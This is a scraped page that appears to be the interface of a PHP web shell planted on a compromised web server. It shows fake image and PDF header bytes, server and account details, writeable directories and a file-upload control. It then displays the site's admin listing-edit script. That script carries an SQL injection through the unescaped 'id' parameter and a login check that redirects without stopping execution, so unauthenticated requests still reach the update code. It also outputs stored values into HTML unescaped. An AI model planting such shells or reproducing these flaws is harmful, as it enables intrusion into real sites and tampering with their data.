%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin-20221229205336/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin-20221229205336/homelistingedit.php
<?php
include "top.php";
$query="select * from homelisting where id='".$_REQUEST['id']."'";
 $result=mysqli_query($c,$query);
   while ($row=mysqli_fetch_assoc($result))
{
    $picture=$row['picture'];
    $picture2=$row['picture2'];
    $picture3=$row['picture3'];
    $picture4=$row['picture4'];
    $picture5=$row['picture5'];
    $picture6=$row['picture6'];
    $picture7=$row['picture7'];
    $picture8=$row['picture8'];
    $city=$row['city'];
    $treatment=$row['treatment'];
    $about=$row['about'];
    $name=$row['name'];
    $ownername=$row['ownername'];
    $phone=$row['phone'];
    $whatsapp=$row['whatsapp'];
    $email=$row['email'];
    $website=$row['website'];
    $googlemap=$row['googlemap'];
    $justdial=$row['justdial'];
    $sulekha=$row['sulekha'];
    $facebook=$row['facebook'];
    $instagram=$row['instagram'];
    $youtube=$row['youtube'];
    $address=$row['address'];
    $established=$row['established'];
}
if(!isset($_SESSION['admin']))
{
header("location:index.php");
}
if(isset($_REQUEST['submit']))
{

if($_FILES['picture']['name']!="")
{
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture']['name'], PATHINFO_EXTENSION);
$picture=$timestamp.'.'.$ext;
if($ext=='jpg' or $ext=='png' or $ext=='jpeg' or $ext=='JPG')
{
move_uploaded_file($_FILES["picture"]["tmp_name"],"../webroot/img/".$picture);

}
}
if($_FILES['picture2']['name']!="")
{
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture2']['name'], PATHINFO_EXTENSION);
$picture2=$timestamp.'.'.$ext;
if($ext=='jpg' or $ext=='png' or $ext=='jpeg' or $ext=='JPG')
{
move_uploaded_file($_FILES["picture2"]["tmp_name"],"../webroot/img/".$picture2);

}
}
if($_FILES['picture3']['name']!="")
{
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture3']['name'], PATHINFO_EXTENSION);
$picture3=$timestamp.'.'.$ext;
if($ext=='jpg' or $ext=='png' or $ext=='jpeg' or $ext=='JPG')
{
move_uploaded_file($_FILES["picture3"]["tmp_name"],"../webroot/img/".$picture3);

}
}
if($_FILES['picture4']['name']!="")
{
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture4']['name'], PATHINFO_EXTENSION);
$picture4=$timestamp.'.'.$ext;
if($ext=='jpg' or $ext=='png' or $ext=='jpeg' or $ext=='JPG')
{
move_uploaded_file($_FILES["picture4"]["tmp_name"],"../webroot/img/".$picture4);

}
}
if($_FILES['picture5']['name']!="")
{
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture5']['name'], PATHINFO_EXTENSION);
$picture5=$timestamp.'.'.$ext;
if($ext=='jpg' or $ext=='png' or $ext=='jpeg' or $ext=='JPG')
{
move_uploaded_file($_FILES["picture5"]["tmp_name"],"../webroot/img/".$picture5);

}
}
if($_FILES['picture6']['name']!="")
{
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture6']['name'], PATHINFO_EXTENSION);
$picture6=$timestamp.'.'.$ext;
if($ext=='jpg' or $ext=='png' or $ext=='jpeg' or $ext=='JPG')
{
move_uploaded_file($_FILES["picture6"]["tmp_name"],"../webroot/img/".$picture6);

}
}
if($_FILES['picture7']['name']!="")
{
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture7']['name'], PATHINFO_EXTENSION);
$picture7=$timestamp.'.'.$ext;
if($ext=='jpg' or $ext=='png' or $ext=='jpeg' or $ext=='JPG')
{
move_uploaded_file($_FILES["picture7"]["tmp_name"],"../webroot/img/".$picture7);

}
}
if($_FILES['picture8']['name']!="")
{
$timestamp = strtotime(date('m/d/Y h:i:s a', time()));
$timestamp=$timestamp*rand(1, 5);
$ext = pathinfo($_FILES['picture8']['name'], PATHINFO_EXTENSION);
$picture8=$timestamp.'.'.$ext;
if($ext=='jpg' or $ext=='png' or $ext=='jpeg' or $ext=='JPG')
{
move_uploaded_file($_FILES["picture8"]["tmp_name"],"../webroot/img/".$picture8);

}
}
 $query="update homelisting set city='".mysqli_real_escape_string($c,$_REQUEST['city'])."',treatment='".mysqli_real_escape_string($c,$_REQUEST['treatment'])."',name='".mysqli_real_escape_string($c,$_REQUEST['name'])."',ownername='".mysqli_real_escape_string($c,$_REQUEST['ownername'])."',phone='".mysqli_real_escape_string($c,$_REQUEST['phone'])."',whatsapp='".mysqli_real_escape_string($c,$_REQUEST['whatsapp'])."',email='".mysqli_real_escape_string($c,$_REQUEST['email'])."',website='".mysqli_real_escape_string($c,$_REQUEST['website'])."',address='".mysqli_real_escape_string($c,$_REQUEST['address'])."',established='".mysqli_real_escape_string($c,$_REQUEST['established'])."',googlemap='".mysqli_real_escape_string($c,$_REQUEST['googlemap'])."',justdial='".mysqli_real_escape_string($c,$_REQUEST['justdial'])."',sulekha='".mysqli_real_escape_string($c,$_REQUEST['sulekha'])."',facebook='".mysqli_real_escape_string($c,$_REQUEST['facebook'])."',instagram='".mysqli_real_escape_string($c,$_REQUEST['instagram'])."',youtube='".mysqli_real_escape_string($c,$_REQUEST['youtube'])."',picture='".$picture."',picture2='".$picture2."',picture3='".$picture3."',picture4='".$picture4."',picture5='".$picture5."',picture6='".$picture6."',picture7='".$picture7."',picture8='".$picture8."' where id='".$_REQUEST['id']."'";
$result=mysqli_query($c,$query);
 echo "<script>window.location.href='homelisting.php';</script>";
    exit;

    }
?>
<div class="content-wrapper"> 
<section class="content-header sty-one">
<h1>Home Listing Edit</h1>
<ol class="breadcrumb">
<li><a href="dashboard.php">Home</a></li>
<li><i class="fa fa-angle-right"></i> Home Listing Edit</li>
</ol>
</section>
<section class="content">
<div class="card-body">
<form class="form" method="post" enctype="multipart/form-data">
<div class="row">

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Treatment</label>
 <select name="treatment" id="" class="form-control">
  <?php
$query="select * from treatments";
$result=mysqli_query($c,$query);
while($row  =   mysqli_fetch_array($result))
{
?>      
<option <?php if($treatment==$row['name']){ echo 'selected';};?>>
    <?php echo $row['name'];?></option>
<?php
}
?>  
</select>

</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>City</label>
 <select name="city" id="" class="form-control">
  <?php
$query="select * from cities";
$result=mysqli_query($c,$query);
while($row  =   mysqli_fetch_array($result))
{
?>      
<option <?php if($city==$row['name']){ echo 'selected';};?>>
    <?php echo $row['name'];?></option>
<?php
}
?>  
</select>

</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Centre Name</label>
<input class="form-control" type="text" name="name" value="<?php echo $name;?>" required>
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Owner Name</label>
<input class="form-control" type="text" name="ownername" value="<?php echo $ownername;?>" required>
</div>
</div>
<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Phone</label>
<input class="form-control" type="number" name="phone" value="<?php echo $phone;?>" pattern="[7896][0-9]{9}" title="please enter 10 digit mobile number" required>
</div>
</div>
<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Whatsapp Number</label>
<input class="form-control" type="number" name="whatsapp" value="<?php echo $whatsapp;?>" pattern="[7896][0-9]{9}" title="please enter 10 digit mobile number" required>
</div>
</div>
<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Email Address</label>
<input class="form-control" type="email" name="email" title="please enter email" pattern="[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,3}$" value="<?php echo $email;?>" >
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Address</label>
<input class="form-control" type="text" name="address" value="<?php echo $address;?>" required>
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Start From</label>
<input class="form-control" type="text" name="established" value="<?php echo $established;?>">
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Website URL</label>
<input class="form-control" type="text" name="website" value="<?php echo $website;?>">
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Google My Business Profile URL</label>
<input class="form-control" type="text" name="googlemap" value="<?php echo $googlemap;?>" required>
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Just Dial Profile URL</label>
<input class="form-control" type="text" name="justdial" value="<?php echo $justdial;?>">
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Sulekha Profile URL</label>
<input class="form-control" type="text" name="sulekha" value="<?php echo $sulekha;?>">
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Facebook Profile URL</label>
<input class="form-control" type="text" name="facebook" value="<?php echo $facebook;?>">
</div>
</div>

<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Instagram Profile URL</label>
<input class="form-control" type="text" name="instagram" value="<?php echo $instagram;?>">
</div>
</div>


<div class="col-lg-6 col-md-6 col-xs-12">
<div class="form-group">
<label>Youtube Profile URL</label>
<input class="form-control" type="text" name="youtube" value="<?php echo $youtube;?>">
</div>
</div>

<div class="col-lg-12 col-md-6 col-xs-12">
<div class="form-group">
<label>About Us</label>
<textarea class="form-control" name="about" required><?php echo $about;?></textarea>
</div>
</div>

<div class="col-lg-3 col-md-3 col-xs-12">
<div class="form-group">
<label>Picture 1</label>
<input class="form-control" type="file" name="picture" >
  <img src="../img/<?php echo $picture;?>" width="50">
</div>
</div>
<div class="col-lg-3 col-md-3 col-xs-12">
<div class="form-group">
<label>Picture 2</label>
<input class="form-control" type="file" name="picture2" >
  <img src="../img/<?php echo $picture2;?>" width="100">
</div>
</div>
<div class="col-lg-3 col-md-3 col-xs-12">
<div class="form-group">
<label>Picture 3</label>
<input class="form-control" type="file" name="picture3" >
  <img src="../img/<?php echo $picture3;?>" width="100">
</div>
</div>
<div class="col-lg-3 col-md-3 col-xs-12">
<div class="form-group">
<label>Picture 4</label>
<input class="form-control" type="file" name="picture4" >
  <img src="../img/<?php echo $picture4;?>" width="100">
</div>
</div>
<div class="col-lg-3 col-md-3 col-xs-12">
<div class="form-group">
<label>Picture 5</label>
<input class="form-control" type="file" name="picture5" >
  <img src="../img/<?php echo $picture5;?>" width="100">
</div>
</div>
<div class="col-lg-3 col-md-3 col-xs-12">
<div class="form-group">
<label>Picture 6</label>
<input class="form-control" type="file" name="picture6">
  <img src="../img/<?php echo $picture6;?>" width="100">
</div>
</div>
<div class="col-lg-3 col-md-3 col-xs-12">
<div class="form-group">
<label>Picture 7</label>
<input class="form-control" type="file" name="picture7">
  <img src="../img/<?php echo $picture7;?>" width="100">
</div>
</div>
<div class="col-lg-3 col-md-3 col-xs-12">
<div class="form-group">
<label>Picture 8</label>
<input class="form-control" type="file" name="picture8">
  <img src="../img/<?php echo $picture8;?>" width="100">
</div>
</div>

</div>
<div class="row">
<div class="col-lg-3 col-xs-6">
<button type="submit" name="submit" class="btn">Submit</button>
</div>
</div>
</form>
</div>
</section>
<?php
include "footer.php";
?>

VaKeR 2022